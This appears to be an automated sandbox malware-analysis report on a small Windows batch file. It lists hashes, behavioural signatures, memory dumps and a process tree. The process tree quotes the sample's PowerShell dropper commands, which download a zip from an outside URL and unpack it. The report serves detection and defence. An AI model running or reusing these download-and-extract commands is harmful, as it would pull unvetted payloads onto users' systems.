3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
19/11/2023, 06:55

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General

Target

tesy - Copy (5).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2764	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2764	powershell.exe
2676	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	2676	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2580 wrote to memory of 2764	2580	cmd.exe	29
PID 2580 wrote to memory of 2764	2580	cmd.exe	29
PID 2580 wrote to memory of 2764	2580	cmd.exe	29
PID 2580 wrote to memory of 2676	2580	cmd.exe	30
PID 2580 wrote to memory of 2676	2580	cmd.exe	30
PID 2580 wrote to memory of 2676	2580	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2676

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
9ad5da0d5594c9e49a6547e161b87c1c

SHA1
00f9c6865409382c452cc593992d64f1fe718163

SHA256
9e8d9ed9d76953ad613620a0c7f67d58a3cba34d83e0af90f59e515af736e792

SHA512
39fb7303b4359a12da9e84815f2bb8e4023153f0bc21225fd4bedc2d2445716ee14cc5a9f916ebfc03bacbeda9a5a1becd663eae9bec769e4cfef8ff81ab5e5d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9X4KS6FQQP2FI1OI9XPH.temp

Filesize
7KB

MD5
9ad5da0d5594c9e49a6547e161b87c1c

SHA1
00f9c6865409382c452cc593992d64f1fe718163

SHA256
9e8d9ed9d76953ad613620a0c7f67d58a3cba34d83e0af90f59e515af736e792

SHA512
39fb7303b4359a12da9e84815f2bb8e4023153f0bc21225fd4bedc2d2445716ee14cc5a9f916ebfc03bacbeda9a5a1becd663eae9bec769e4cfef8ff81ab5e5d

Download Submit
memory/2676-23-0x000007FEF4D20000-0x000007FEF56BD000-memory.dmp

Filesize
9.6MB

Download
memory/2676-20-0x000007FEF4D20000-0x000007FEF56BD000-memory.dmp

Filesize
9.6MB

Download
memory/2676-27-0x000007FEF4D20000-0x000007FEF56BD000-memory.dmp

Filesize
9.6MB

Download
memory/2676-26-0x0000000002460000-0x00000000024E0000-memory.dmp

Filesize
512KB

Download
memory/2676-25-0x0000000002460000-0x00000000024E0000-memory.dmp

Filesize
512KB

Download
memory/2676-24-0x0000000002460000-0x00000000024E0000-memory.dmp

Filesize
512KB

Download
memory/2676-19-0x000000001B2A0000-0x000000001B582000-memory.dmp

Filesize
2.9MB

Download
memory/2676-21-0x0000000002460000-0x00000000024E0000-memory.dmp

Filesize
512KB

Download
memory/2676-22-0x0000000002610000-0x0000000002618000-memory.dmp

Filesize
32KB

Download
memory/2764-11-0x00000000026A0000-0x0000000002720000-memory.dmp

Filesize
512KB

Download
memory/2764-5-0x00000000022B0000-0x00000000022B8000-memory.dmp

Filesize
32KB

Download
memory/2764-6-0x000007FEF56C0000-0x000007FEF605D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-13-0x000007FEF56C0000-0x000007FEF605D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-4-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

Filesize
2.9MB

Download
memory/2764-7-0x00000000026A0000-0x0000000002720000-memory.dmp

Filesize
512KB

Download
memory/2764-10-0x00000000026A0000-0x0000000002720000-memory.dmp

Filesize
512KB

Download
memory/2764-9-0x00000000026A0000-0x0000000002720000-memory.dmp

Filesize
512KB

Download
memory/2764-8-0x000007FEF56C0000-0x000007FEF605D000-memory.dmp

Filesize
9.6MB

Download